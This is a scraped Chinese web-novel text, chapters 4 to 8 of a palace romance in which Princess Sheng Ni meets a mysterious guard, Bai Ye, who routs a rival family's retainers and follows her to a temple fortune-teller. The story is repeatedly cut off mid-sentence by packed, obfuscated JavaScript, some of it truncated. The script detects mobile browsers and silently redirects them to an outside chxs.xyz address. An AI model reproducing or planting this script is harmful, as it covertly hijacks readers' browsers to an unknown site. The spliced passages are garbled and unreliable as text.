盛霓笑着把床上的一只布老虎扔过去。 云朱硬着头皮进来回禀银票被退还之事。 盛霓面色微凝,旋即笑着安慰:“随他去吧,把银票收起来便是。” 云朱见公主似乎不甚在意,总算松了口气,安静退下。 晚晴将玉蓉粥奉到盛霓跟前,皱眉道:“如此厚赏,此人竟分毫不为利诱,真是古怪。” 盛霓看过白夜的调令,是大延王朝官印调令不错,可是此人的才能气度,已远远超过宗正寺肯为钟慧公主府安排的标准,天上掉的馅饼太大,便有些蹊跷了。 去金陵祭天路远难行,卫队统领一职责任重大,倘若由于她的任命失误而护卫失当,造成人员伤亡,她无法原谅自己,姐姐在天上看着也会责怪她的。 盛霓舀了一勺玉蓉粥抿了一口,甜香的味道在唇齿间漫开,暖暖的。 “明日朝食还要吃这个。”盛霓满足地道。 “好好好。”晚晴最喜欢看到公主吃东西的模样。公主向来体弱,大病一场后更是食欲不佳,能有主动想吃的东西真是令人开心。 盛霓用了暖融融的粥,整个身子都暖了起来,心情大好。 “传令下去,做好准备,待本宫从普度寺回来,在卫队中选拔大统领。” …… 公主府朱门外夜雨阴沉,白夜独自撑着伞,仰头回望向牌匾上熟悉的字体。 钟慧公主府的牌匾是太子亲提,在雨夜里愈发浓重遒劲。 闪电惨白,映出男人唇角毫无温度的笑意,人前流露的明朗纯净之感仿佛只是错觉。 “嘉琬,明日见。” 4. 不平 翌日是晦朔,是盛霓每月去普度寺上香的日子。 雷雨下了整夜,晨曦破云而出,露出一角清爽湛蓝的天空。 盛霓恹恹的,未施粉黛的杏目下浅浅一层黑眼圈。 “小殿下昨夜没睡好吗?”进来服侍盛霓梳洗的小婢女心疼地问。 盛霓拥着软若云朵的提花天丝锦被,揉揉睡得蓬松的秀发,呆滞地点了点头。 昨夜一闭眼就看见赵逆鲜血喷薄的血腥场面,又梦到赵逆满地找断指的恐怖画面,几度惊醒。 特别是白夜那张溅上鲜血的漠然面孔,比鲜血本身更令人不寒而栗。 “小殿下还在想昨日那位新副统领吗?” 马车上,晚晴伸手在盛霓空洞的眼前晃了晃。 盛霓回神,轻轻拍掉晚晴的小爪子,“哪有。本宫是在想,去了金陵,就不能按时为太子哥哥祈福了呢。” 晚晴忙去捂公主的嘴:“小殿下慎言,若被旁人听到小殿下去普度寺乃是为了太子,会连累小殿下的。” “知道啦,知道啦。”盛霓笑闹着挣开晚清的手,“还有,什么‘新副统领’?本宫未留他,他便不是府中人,咝——” 盛霓轻轻按住颈侧的细长伤口,今早去了纱布,只搽了一层药膏,不注意看就看不出那道细伤,但肌肤的疼痛总是绵绵不绝,十分恼人。 “小殿下,当心些。”晚晴心疼地坐过去查看盛霓的伤口。 “哎,什么东西?” 晚晴被硌了一下,掀开软垫的一角,发现了一个从没见过的小圆盒。 小圆盒质地粗糙,一看就是大街上的地摊货色。 “这是什么,谁放这儿的?” 公主府的规矩一向不差,不会有人会把私人物件放在公主车驾内。除了盛霓极其爱重的几个心腹,也没人能钻进车驾里做手脚。可既是心腹,更没必要偷偷摸摸在车里放上东西,连禀都不禀一声。 怎么都是说不通的。 晚晴拧开圆盒,里面是雪白半透的凝膏,脂体细腻,色泽温润,药香芬芳。 盛霓就着晚晴的手凑近闻了闻,“像是玉容红夏霜呢。” “不可能吧,那是宫里都稀罕的愈痕止痛药,怎会装在这般寻常的小盒中??” “兴许是民间仿品。”盛霓推测。 有些宫里的方子会流入民间,民间高人照方仿制,除了不是御制正品,功效可模仿得八九分,价格自然也颇高昂。 突然,马车急停,盛霓身子一晃差点摔下木座,被晚晴及时抱住,手炉骨碌碌滚落脚下。 车外喧闹起来,像是起了争执。 晚晴替盛霓揉着撞痛的手腕,扬眉瞠目:“这可奇了!咱们车队的规格、徽牌都明摆着,谁胆敢冒犯一品公主的车驾?” 虽说燕京城王侯将相云集,但敢在明面上冲撞公主府的,屈指可数。 盛霓重新抱住手炉,理理发丝,娇哼一声:“还能有谁?” 晚晴恍然,登时不高兴了:“没错,肯定是庆国公家那对活宝兄妹。” 纵容仆从当街吵嚷,这教养,燕京城宗室勋贵里打着灯笼都找不出第二家。 盛霓素手挑帘,向外一望,果然对面就是庆国公府的马车,几个蛮横豪奴正在与自家婢女吵嘴仗。 她贵为公主,今夜外宿佛寺,统共才带了四辆车、十二匹马、八个侍卫、四个内侍,四个小婢,一个贴身婢女晚晴。 而对面兄妹俩不过是城内闲逛,一辆宽敞马车,婢女婆子不说,单是高壮护卫便配了二十来个,摆明了逞凶霸道。 晚晴跟着从车窗看了片刻,叹道:“小殿下莫怪咱们的人气盛,回回磕碰上回回吵。庆国公府这口气,奴婢也咽不下!” 庆国公凭从龙之功尚主,与宁阳长公主诞下一儿一女,便是对面马车里的庆国公世子程子献和颐华郡主程菁菁。 父亲是正当盛年的国公爷,母亲是今上一母同胞的嫡亲妹妹,这对兄妹锦绣堆中长大,自然而然成了燕京公认的第一纨绔和第一千金,自幼要风得风、要雨得雨。 许是命里犯冲,兄妹俩平生遇到的第一遭不如意之事,都与嘉仪公主有关。 哥哥程子献当众求娶嘉仪公主,心上人却转身嫁与了谨王;妹妹程菁菁恋慕谨王多年,眼睁睁看着梦中郎迎娶了嘉仪公主。 他家便是再势大,也不敢与皇子相争,怨气怒气只敢冲着无甚实势的嘉仪公主去。 只可惜,他们还没来得及出这口气,嘉仪公主便早早薨逝了。 嘉仪公主以谨王妃仪制出殡那日,程菁菁不敢去谨王府闹事,特地穿了通身的红衣从挂了白的公主府门前步行走过,引来无数路人围观。 当时盛霓听闻来报,顾不得擦干满脸的泪痕,亲自上马驰回公主府阻止,却被程菁菁指使豪奴推倒在雪地里,手心在粗粝的地面上擦出了血,沾赃了素白的丧服。 嘉仪公主去得太快,程菁菁这口闷气兜兜转转无处安放,最终落在了嘉仪公主唯一的亲人——嘉琬公主身上。 对面马车里的两兄妹可以装死,盛霓却赶时间,不能在路上一直耗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却见那个从天而降的男人高挑精悍,修长身形里仿佛蕴着猎豹般的力量,寒凉的眸子漫不经心扫过来的一瞬,程菁菁心脏一紧,下意识僵住脚步。 程子献也注视着白夜,见他穿着打扮既不是侍卫也不像仆从,人生得还挺出挑的,不由有些发酸:“这谁?嘉琬殿下的爱宠吗?” 5. 摆平 程子献明白,当年自己没能得到嘉仪公主青眼,想必便是输在了一张面皮上。 景氏皇族中人各个容色不俗,他的母亲宁阳长公主亦是一等一的美人,只可惜他那国公父亲生得不甚英武。程子献遗传了母亲的瘦削白狐脸,又遗传了父亲的狭长丹凤目,便常被人背后议论——“好好一个男儿,生得一脸阴柔邪气。” 嘉琬身边这个男人英挺清绝,细看起来,气度身姿隐约有几分谨王的影子,令程子献打心眼儿里厌恶。 程子献讥讽道:“嘉琬公主小小年纪,于风花雪月之事倒是早慧。” 晚晴正要发作,白夜硬声道:“末将乃钟慧公主府侍卫,护卫公主是末将职责所在,阁下慎言。” 程子献从鼻腔里发出嗤笑,当是不信。 白夜才不管他信没信,问道:“嘉琬殿下在此,二位还站着等什么?” 行礼啊。 程子献和程菁菁的脸黑如锅底。 当着满大街平民百姓的面呢!这人好大的胆! 程菁菁才不肯与一个下人直接对话自堕身份,款款上前几步,逼近盛霓,压低了声音笑道:“嘉琬殿下这是去哪儿,哦,今日是晦朔,又去为太子哥哥祈福吗?有工夫在此纠缠,不怕误了?” 为太子,祈福? 白夜耳力极佳,闻言,星眸几不可察地微眯。 程菁菁笑得不善:“你以为你每月祈福,太子哥哥就会感动?你和你那狐狸精姐姐一样,都是做梦攀高枝的好手。” 又在污蔑姐姐! 盛霓广袖下的粉拳紧了紧,面上绷着不肯露出怒意,睨着程菁菁道:“太子哥哥感不感动本宫没兴趣,本宫好奇的是,若谨王姐夫听到颐华郡主一个良家贵女张口闭口‘狐狸精’,会如何作想?” 程菁菁最恨谨王与嘉仪公主的姻缘,那声“谨王姐夫”更是如一枚钢针齐根扎进了心里。 “你那狐狸精姐姐早就死了,哪个还是你姐夫!” 程菁菁全然不顾被人围观,高高扬起巴掌就要冲盛霓的小脸招呼过去。 盛霓下意识往后退,白夜已闪到她的身前,利落拦下了程菁菁的动作。 程子献立即大步上前:“放手!你这贱仆好大的胆!” 白夜在对方护卫群攻过来之前放开了程菁菁的腕子,右臂微张,将盛霓的纤细身躯挡在身后。 他这么一档,保护的意味陡然放大,路人们瞧着,更觉得被他护在身后的嘉琬公主楚楚可怜,不免对庆国公府的兄妹俩指指点点:“看啊,他们怎么动手打人啊,光天化日的。” 程菁菁扯住程子献的衣袖,苦着脸用力晃了晃:“哥——” 程子献脸色铁青,锵啷一声抽出腰间宝剑。 打人又怎么了?庆国公府还敢杀人呢! “反了你了!颐华郡主也是你碰得的?” 程子献的剑尖不甚精准地指着白夜的鼻尖。 围观路人发出一阵惊呼,纷纷后撤,却没一个人走,看热闹的劲头更足了,恨不得这两家天皇贵胄立马打一场精彩绝伦的群架。 盛霓紧盯着那明晃晃的利刃,悄悄扯了扯白夜的衣摆:“小心呀。” 白夜不动声色地点了一下头。 程子献还在大骂:“我看你这小子瞎了眼!敢横到本世子的头上……” 话没说完,宝剑啪地一声被白夜抬手打掉,利刃向上抛出,落下,正戳在程子献脚尖前一寸处。 程子献大吃一惊,吓得一连倒退数步,险些一屁股跌坐在地。 围观路人一阵哗然,几个胆大的直接为盛霓一方拍手喝彩。 “你你你个小侍卫,还想动手不成?”程子献颤抖着手,惊恐地指着白夜,“告诉你!我我我乃庆国公与宁阳长公主的独子!” “嗯?”白夜似乎没有听清那一串人名,“你说,你是谁和谁的犊子?” 庆国公世子程子献长到十九岁,第一次被人当面骂“犊子”。 人群哄然大笑,庆国公府众护卫想阻止,但三层外三层的看客全在笑,根本拦不过来。 盛霓抬袖掩口,轻咳一声。 程菁菁怒不可遏,当即一声令下:“还愣着干什么!” 二十来个国公府护卫得了吩咐,冲白夜一哄而上。 盛霓下意识攥了攥白夜的衣摆。 白夜不忙迎敌,回身把小公主打横抱起,一个纵身高高跃出了护卫的攻击圈,在马车旁稳稳落下,把人放在前车板上坐好。 利落又轻盈的飘飞,人群不免又一阵拍手叫好。 程子献和程菁菁的脸更黑了一层。 “嘉琬殿下想看烟花吗?”白夜低低地问,明净的眸子带着几分戏谑。 “烟花?”盛霓有点懵。 白天哪儿有烟花呀? 护卫们已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000579|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经朝白夜招呼过来,公主府侍卫排开一列拦住他们。 “让开。”白夜回身道。 众侍卫不明其意,但经过昨日之事,知道此人是个有本事的,公主也未提出异议,便即配和地退下。 对面护卫直接打过来,白夜身形快速闪动,晃成一道黑影,眨眼间便旋身穿过了护卫群。 所有看客只觉眼前一花,不约而同地屏住了呼吸。 一息过后,一众健壮护卫几乎同时倒地,没了声息。 恰似烟花平地开放。 盛霓的手死死抠住马车沿,几乎呼吸都停窒了。 “没死。”白夜解释,“让他们好好睡一觉,降降火。” 程家兄妹面如土色。 白夜道:“见了圣上钦封的一品公主,应退避见礼,这点礼制,庆国公府懂吧?” 说着,他侧身,冲兄妹俩做了个冷冰冰的“请”。 这是个什么人哪,还真轴。程子献暗骂一声,在众目睽睽之下——准确地说,是在那一双寒眸的逼视之下,暗暗捅了捅妹妹。 程菁菁怒视程子献,看了看满地横躺的健奴,咬着唇,绷着脸朝盛霓屈膝行礼。程子献也抱拳躬了躬身。 围观路人爆出一阵吹哨叫好。 庆国公府的马车挪开位置,几个豪奴把地上的护卫抬到路边让道。 盛霓指了一匹最好的马给白夜:“多谢白校尉相助,不知白校尉往何处去,便由它为白校尉代步。” 白夜颔首:“末将本想去城东妙清观请愿,方才听闻嘉琬殿下青睐城西普度寺,不知能否厚颜随殿下同行?” 晚晴悄悄扯了扯盛霓的衣袖,眉头微蹙。 盛霓暗暗捏了捏晚晴的手,对白夜笑道:“普度寺路远,往返要两日行程,本宫可为白校尉借一间禅房下榻。” 白夜恭敬行礼:“有劳嘉琬殿下费心。” 说着,亲自上前为盛霓放下脚凳,伸出一只骨节分明的手。 盛霓没有推辞,冲白夜莞尔一笑,素手在他手臂上借力,登上马车。 目送公主府车驾先行碌碌驶过,白夜翻身上马,在兄妹俩跟前勒缰停下。 “你还想干什么?”程子献简直怕了他了。 白夜居高临下地睨着二人,微微勾唇,却没有温度。 “庆国公府明事理,不会对今日之事耿耿于怀,打击报复我家公主吧?” 6. 跟随 白夜似乎用了内力,一句话传出去老远,还未散尽的行人全都听见了,纷纷面色古怪地望过来,仿佛已亲眼看见了庆国公府报复前朝孤女的场面。 程子献和程菁菁的脸色由绿转红。 程子献尴尬地冷哼一声:“自、自然不会,把我庆国公府看成什么了?” “那就好,不愧是庆国公与宁阳长公主的独子,闻过则改,有雅量。” 白夜再度勾了勾唇,一夹马腹,去跟公主车驾了。 程菁菁的表情比吃了苍蝇还难看,气愤地推了哥哥几下:“你怎么这么窝囊,被一个下人唬住!” 程子献怒道:“你行你上啊。” “此事绝不能就这么算了,我这就回家告诉阿爹!” “好妹妹,你傻了?”程子献忙拉住她,“阿爹最重脸面,今日之事被百十布衣围观,阿爹若知晓,必大怒,你还主动往上撞,讨罚是不是?” “那怎么办!总不能真忍下这口气吧?” 程子献恨恨道:“呵,这小嘉琬真有两下子,从哪儿找这么个侍卫!那小子不一般,先着人查查他的底细。” 程菁菁道:“侍卫?你看见他着侍卫服色了?八成……嗐,阿娘现下还养着两个面首,嘉琬这年纪是早了点,可也不稀奇,你着人顺着这个线索查查看。” “什么?”程子献呆住,“阿娘背着阿爹养了小男人?!” …… “奴婢还是第一次见到呼风唤雨的世子和郡主如此灰头土脸的模样。” 晚晴回味着方才的情景,乐不可支。 “叫他们目无尊卑,活该!” 盛霓把玩着来路不明的小圆盒,没有说话。 晚晴又感慨:“白校尉倒是热心肠,昨日被拒,今日还肯出手相助。恰巧相遇,也是缘分。” 盛霓哼道:“这缘分未免太巧,恰巧就在我们途经之处,恰巧就在我们途经之时。” 晚晴品着公主话里的意思,脸色不由变了变:“小殿下的意思是,他跟踪我们?” 盛霓不置可否,将那盒玉容红夏霜递给晚晴,“替本宫涂上。” 晚晴愈发读不懂公主的心思,嘟囔:“还没弄清来路,小殿下不谨慎些吗?” 盛霓笑道:“不会有害,放心好啦。” 若放了毒,今日就不会出手相助。 药霜涂在皮肤上冰冰凉凉,伤口果然不再疼,几乎就是正版内造的成药。 盛霓撩开车窗绿纱帘,望向白夜骑在马上的背影。 “白校尉。” 白夜见唤,勒缰放缓马速,贴近车窗,默然附耳听命。 盛霓雪白柔嫩的小手握着什么,从车窗递了出去,“伸手。” 白夜不明所以,但还是松开一半缰绳摊开了掌心。 一颗油纸包裹的小圆物落下。 盛霓扬起下巴下令:“吃掉。” 白夜幽若寒星的眸子斜看过来,带着几分不易察觉的审视。 盛霓已撂下了帘子。 “小殿下还要卖关子到何时呀,”晚晴抱怨,“是不是改主意啦,想留下白校尉?” 盛霓笑着躺倒在晚晴腿上,指甲轻轻刮着她圆圆的脸蛋,“白校尉仗义相助,本宫想法子答谢他是应当的,只是他如此刻意接近,我们总不该一味避着,不如将计就计,也接近他,看看此人究竟什么来路,意欲如何。” 来普度寺上香一事已坚持半年有余,不怕被人探究。只要,不被人看出她是为幽禁东宫的太子祈福。 晚晴讶然。总觉着小殿下还小,没想到已思虑得如此周全。大殿下在天有灵,不知该有多欣慰。 盛霓抱着手炉盖上暖融融的毛毯,枕在晚晴腿上闭目养神。 这一路很远呢,远到可以静静地思索许多事。 譬如白夜的出现。 白夜今日的出手相助和跟随太明显地有所求,而他千方百计所求的,就是进入钟慧公主府。 进入公主府的目的又是什么? 她必须尽快弄清。 …… 这一觉补得十分安沉。 盛霓被晚晴柔声唤醒的时候,马车已经抵达寺前长亭,内侍们已抬着箱笼从山间小道绕往普渡寺后门,布置下榻之处。 明日一早上香祈愿,返程,约摸晚饭时分回到公主府,每月都是这般行程。 傍晚天凉,山间寒重,盛霓披了件浅檀色的斗篷,戴上帷帽,抱着鎏金镂花手炉下了马车。 此处在半山腰上,地势不高,矮山连绵,隐约云气,颇有一番云白峰青之景。 一下马车,盛霓一眼就看到树荫暗影下一个修长的身影挺拔如青松。 白夜斜侧着身不知望着什么方向,也不知这样静静等她多久了,与这山岚雾霭融成一幅意境悠远的画。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000580|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 假如手边有纸笔,盛霓不介意当场画下来的。 正瞧得出神,白夜忽然回望过来。 纵然隔着帷帽,盛霓还是立即滑开了视线。 普度寺住持无玄法师携四名大弟子已在此恭候多时,陪公主从寺前石阶慢行。 年终岁末,普度寺香火格外旺,平日长阶上只有三三两两的香客,今日却有摩肩接踵的盛况。 其实城东还有一座香火旺盛的妙清观,因颇受达官显贵青睐,装潢富丽堂皇,也清净便利得多,但盛霓更喜普度寺同视众生,铜臭气浅,甘愿绕远来此。 石阶尽头的寺庙殿宇沐在金霞中,佛光仿佛。谁都没留意,人群里,一位长衫胜雪的锦绣公子一直用目光追随着盛霓的倩影,片刻不曾放开。 白夜放缓脚步,落在公主一行人的后面,公主府便衣打扮的侍卫也没打搅他——毕竟算不得同僚,人家爱自己逛逛他们管不着。 于是无人发觉,白夜在人群中抬起手,做了个握拳的手势。 “主子有何吩咐?” 人群中,一个叫花子打扮的络腮胡男人极其自然地挤到了白夜身边。 白夜也不瞧他,仿佛只是在专心走自己的路,“徐九在此,你们无人发觉?” “叫花子”不知主子怎么突然问起这个,额头微汗:“回主子,据属下所探,徐家九公子徐晏每月晦朔都来普度寺,已成惯例,故而未加干涉。” 很巧。同样是每月朔日都来,还一直远远盯着嘉琬小公主。 白夜淡淡问:“徐九和嘉琬……” 他拖长了音调,“叫花子”立时会意,忙答道:“徐九公子与嘉琬公主在普度寺从未会面,嘉琬公主甚至不知徐九公子在此。” 白夜“嗯”了一声,冷冷道:“往常便算了,今日孤来了,还不将人清走,等他干扰孤的要事?” “叫花子”吓得变了脸色,若不是还要顾及伪装,当场就要跪下,忙不迭地应道:“属下失职,这就将徐九公子请离!” “叫花子”退下,白夜不疾不徐地顺着人流拾级而上。 他生得高挑,可以望见小公主的帷帽在窜动的人头中一晃一晃,幅度优雅又灵动。 白夜张开掌心,低头瞧了一会儿盛霓赏他的那颗小圆球,慢条斯理地剥开了油纸,将小圆球送入口中。 甜的,梅子味。 白夜淡淡勾唇。 7. 邪功 人声嘈杂,每隔几级石阶的平台上都支着一两个算命摊子,甚至有些摊主还是道士打扮。 平民百姓不甚讲究,多是儒释道三家同拜,普度寺兼收并蓄,也不驱赶这些神棍。 无玄法师提议:“听闻嘉琬殿下临行在即,不如请三谬师伯为殿下算一偈,请佛祖护佑殿下一路平安。” 盛霓谢过无玄法师一番美意,但对提议未置可否。 她对命格云云并无好感,此番被“发配”至金陵祭天,还不是司天监那几个老头子算出来的? 晚晴却颇有几分兴致,心中有问便直言了出来:“无玄法师所言三谬法师,便是当年预言过泷西节度使陨落的那位吗?” 她素得公主喜爱,在主子面前并不拘束规矩,无玄法师也习以为常,答道:“正是。” 早在藩王叛乱之前,三谬法师便预言,简在帝心的泷西节度使即将陨落。时人只当那是疯话,然而短短六载后,预言果然应验。 这些历史在如今的繁华安定中已很少有人提起了,盛霓不禁思绪恍惚。 二十年前藩王叛乱的时候,她尚未出世。 母后怀上她那年,泷西节度使已携傀儡父皇坐朝堂数载。 后来永安侯景源入京勤王,所向披靡,挟天子的泷西节度使自知大势已去,将末代帝后、皇子公主全部锁在极元殿,一把大火烧得骨头都不剩,亦将旁支宗室屠杀殆尽。 彼时,年仅四岁嫡公主盛霜——也就是后来的嘉仪公主——抱着尚在襁褓中的嫡妹盛霓,凭着身小体瘦,躲在破败冷宫的旧木箱里逃过了死劫。 永安侯景源攻进皇城,杀尽泷西乱党,救出了盛氏幼女。 盛霓记事后,常听太后身边的宫人说起这段往事。老嬷嬷们都赞嘉仪公主机敏,第一次拜见景老夫人时,便张口唤了“太后”。 当时景老夫人果然留了这对幼女性命,还收在膝下亲自教养,待她们如亲生孙女。 后来太后寿终正寝,姐姐亦暴毙而亡,只剩下盛霓孤零零地活在这世上。 如今大延王朝一统九州,已显太平气象。 然而近两年天灾不断,肃州水患、柳州大旱、汤城瘟疫、北境雪崩……国库银财大把大把流向灾区,愁得延帝景源焦头烂额。 司天监谏言,此乃前朝王气动荡之故,须得前朝盛氏血脉赴祖地金陵告慰先祖,万气归一,方可平息此劫。 盛霓不知一向英明的延帝哪根筋搭错了,居然拍板同意了此事,一道圣旨下到钟慧公主府,不由非说为盛霓定下了岁末南下的行程。 盛霓自然不能抗旨。 晚晴还在好奇三谬法师的传说,长阶上陡然嘈杂起来,把盛霓飘飞的思绪扯回了眼前。 “撒钱了!撒钱了——” 高处不知是谁在破财消灾,大把大把的铜板抛撒出去,人们立马不要命地拥上去抢。 “哎、哎,慢点!” 晚晴冷不防被往上面涌的人群撞得七荤八素,下意识去拉公主,可是人太多,太疯狂,主仆一行与住持师徒几乎是一瞬间就被冲散了。 几个便衣侍卫眼疾手快,围成一圈将公主护在当中。 “别挤老子!他娘的!都别挤!”有人跌倒,有人大骂,有人被踩,本就人挨人的石阶彻底乱了套。 无玄法师年过花甲,腿脚不如年轻人灵便,一脚踩空,老腿扭得不轻,若不是公主侍卫扶了他一把,只怕已陷在无数双脚下。 盛霓迅速指了几个侍卫护住无玄法师一行,一回头发现,不见了晚晴的影子。 盛霓心头一沉:“晚晴,晚晴!” 这可不是玩的,若被挤倒,很可能被失控的人群活活踩死。 盛霓掀开帷帽踮脚张望,眼眶已急得泛红,可是人拥着人,根本分不出哪个是晚晴。 “晚晴丢了!快去,快去找晚晴!” 忽然,日光微暗。 盛霓抬头望去,残阳金光里,一个身影平地飞起,遮住了夕阳。 那道人影中途不曾落地,探手从人群里揪起一个女子的手臂,朝盛霓一行人的方向甩了过来。 几个侍卫七手八脚接住了被扔过来团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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嘉琬一行人的视野盲区里,白夜冷言吩咐一个“算命老道”:“京兆府便是这般管理京畿秩序的?将此事匿名报京兆尹处置,看是哪个不长眼的在孤的眼睛底下撒钱生事。今日若伤着嘉琬公主,看谁的脑袋够赔。” 8. 算命 无玄法师伤了腿脚行动不便,由监寺法师引嘉琬公主去下榻的禅房。 普度寺近年来香火渐旺,僧院扩建过两次,嘉琬公主下榻的禅房就在前年最新建成的一排,偏僻,但齐整干净,几乎不会碰到外人,十分雅静。禅房已被先行一步的内侍打理得井井有条。 盛霓对晚晴道:“待晚上人少时,我们去向三谬法师求一偈,叫上白校尉同去。” “小殿下如今改主意改得比山间气候还快。” 盛霓笑着横她一眼,刁蛮道:“小蹄子从命便是,哪儿来那么多话。” 进了禅房,梳洗去一路风尘,盛霓屏退余人,这才拉着晚晴哼唧:“方才听阿七念叨,白校尉那般境界的轻功,世所罕见,只怕师从不凡,不知背后是谁派他来接近我们。” 晚晴是亲身体验过白夜功夫的“世所罕见”,拍着心口道:“小殿下所言极是。这个白校尉,与赵双全天差地别,真不像是宗正寺肯给咱们府上的良将。莫非小殿下想借三谬法师的佛偈,算一算此人来路?” “病急乱投医罢了,也不真指望这些怪力乱神。” 晚晴拆台:“小殿下分明是很信神佛的,不然何苦每月耐着辛苦,坚持为太子殿下上香祈福?” 盛霓躺到床上,舒展着一路坐得发僵的腰肢:“本宫观神佛云云,又爱又恨吧。” 爱的是,若有神佛,姐姐或许魂灵不息,常伴人间。恨的是,司天监滥用奇门之术献策,无凭无据,害她寒冬里南下远行。 用过素斋,已是暮色四合。 盛霓换上一身晚晴的衣裳,掩去公主身份出门。 “白校尉何在?” 侍卫指了指最远处的那间分给白夜的禅房。 听闻要算命格,躲回禅房了? 盛霓微微蹙眉,往白夜那间禅房走去。 晚晴忙拦她:“尊卑有别,小殿下怎可亲自去唤?” “禅房都是一样的,无有尊卑之分。”盛霓敷衍地找借口。 晚晴拦不住,只得提灯跟上去。自从被白夜从空中扔过一次后,魂都吓散了,就算感激白夜的救命之恩,也着实见他有些犯怵。 盛霓走到门前,竖耳听了听,里面毫无动静,可是时辰还早,总不能已歇了吧? 就这般不愿求偈吗? 该不会真的心虚吧? 盛霓心中闪过几个念头,略一迟疑,还是示意内侍叩响了古朴木门。 不多时,木门吱呀一声拉开,屋内漆黑一片,高大颀长的身影戳在门内,将羊角灯光里的公主衬得娇小。 白夜大概没想到小公主会执着到上门捉人,四目相对,不由淡淡一哂。 “嘉琬殿下亲临贱地,寒舍蓬荜生辉。”素来冷厉的眸子多了几分玩味,“殿下是想……进来坐坐?” “坐就不坐了。走呀,请三谬法师为白校尉也算一偈,求个平安。” 盛霓开门见山,笑得清甜。 “本宫上门来请,白校尉不会不给本宫薄面吧?” “末将不敢,只是……”白夜笑意未散,扯了扯自己身上的雪白中衣,“末将已更衣就寝。” 盛霓怔了怔。 天光昏暗,屋内又没有点灯,若非白夜提醒,盛霓还真不曾留意他的衣装。 盛霓连忙背转过身去,耳尖微烫。 “你、你……现在才什么时辰啊,在燕京哪有这么早就寝的?白校尉还是入乡随俗的好,便是日后真做了本宫的侍卫,换班轮值的时辰也是按燕京习惯来的。” 盛霓飞快地说着,像玉珠噼里啪啦落了一串。 “哦?”白夜似乎有点喜色,“嘉琬殿下愿意接受末将的调令了,已开始操心轮值之事了?” 盛霓被抓住话里的把柄,不由一噎。不过是随口一说,怎可当真? “给你一刻钟更衣,本宫去前面等你。” 说完,不等白夜拒绝,盛霓扯着晚晴的衣袖,带着身后一队内侍快步走掉了。 晚晴抱怨:“这个白夜真是没规矩,好歹也是校尉,怎可衣衫不整地出现在贵人眼前,不知道的还当他孔雀开屏呢。” 盛霓年纪还小,没领会何谓孔雀开屏,只叹道:“是本宫非要叩他的门,若说没规矩,大约是本宫的问题。” 晚晴忙道:“奴婢没有这个意思,小殿下就是规矩!” 盛霓噗嗤一笑,眉宇间浅霾尽散。 三谬法师每一偈都会算出三件事,自称是三件红尘大谬。久而久之,三谬就成了他的代号,原本法名反倒不为人知了。 三谬法师隐居于老禅院最末排的一间小小禅房,屋角都榻了一块,却不许人修缮,道是:“不求圆满,只求残缺。” 盛霓听闻三谬法师年老,不愿过多见客,于是刻意没有惊动无玄法师,亦不欲以公主身份压人,特意妆扮得同晚晴一样。 她却不知,便是晚晴,那也是一品公主府的掌事大婢女,衣装气派远非寻常门户的女子可比,走在寺中已是出挑不凡。 小僧依言将公主一行领至转角处便即退下。 盛霓屏退侍人,只带晚晴同白夜上前。 三谬法师正坐在破了一半的门槛上赏月,远远地看着两女一男走近,并不意外,笑吟吟地起身相迎:“阿弥陀佛,可算是来了。” 盛霓和晚晴莫名其妙地对视一眼,分明并未提前知会这位法师。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000582|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 走到近前,三人才发现三谬法师衣着破败,一身的酒肉气。 晚晴不由大失所望,暗中扯了扯盛霓的衣袖,想劝公主打道回府。原还觉着普度寺风气清正,总比妙清观好些,着实没想到在禅院深处还藏着一个酒肉和尚! 盛霓却没觉得有什么不对,认真地朝三谬法师行了佛礼,请法师参详。 三谬法师脸上褶皱堆起,笑道:“三位中有两位都贵不可言,命格落于纸上未免不敬,倘流落出去,又有泄露天机之嫌,不若长话短说,只献三词可好?” 三谬法师笑呵呵的,一双清明的老眼在盛霓鸡蛋白般滑嫩的小脸上瞧过几个来回,念了一声佛语,唱诵般地道:“凶化吉,旧仇复,凤来仪。” 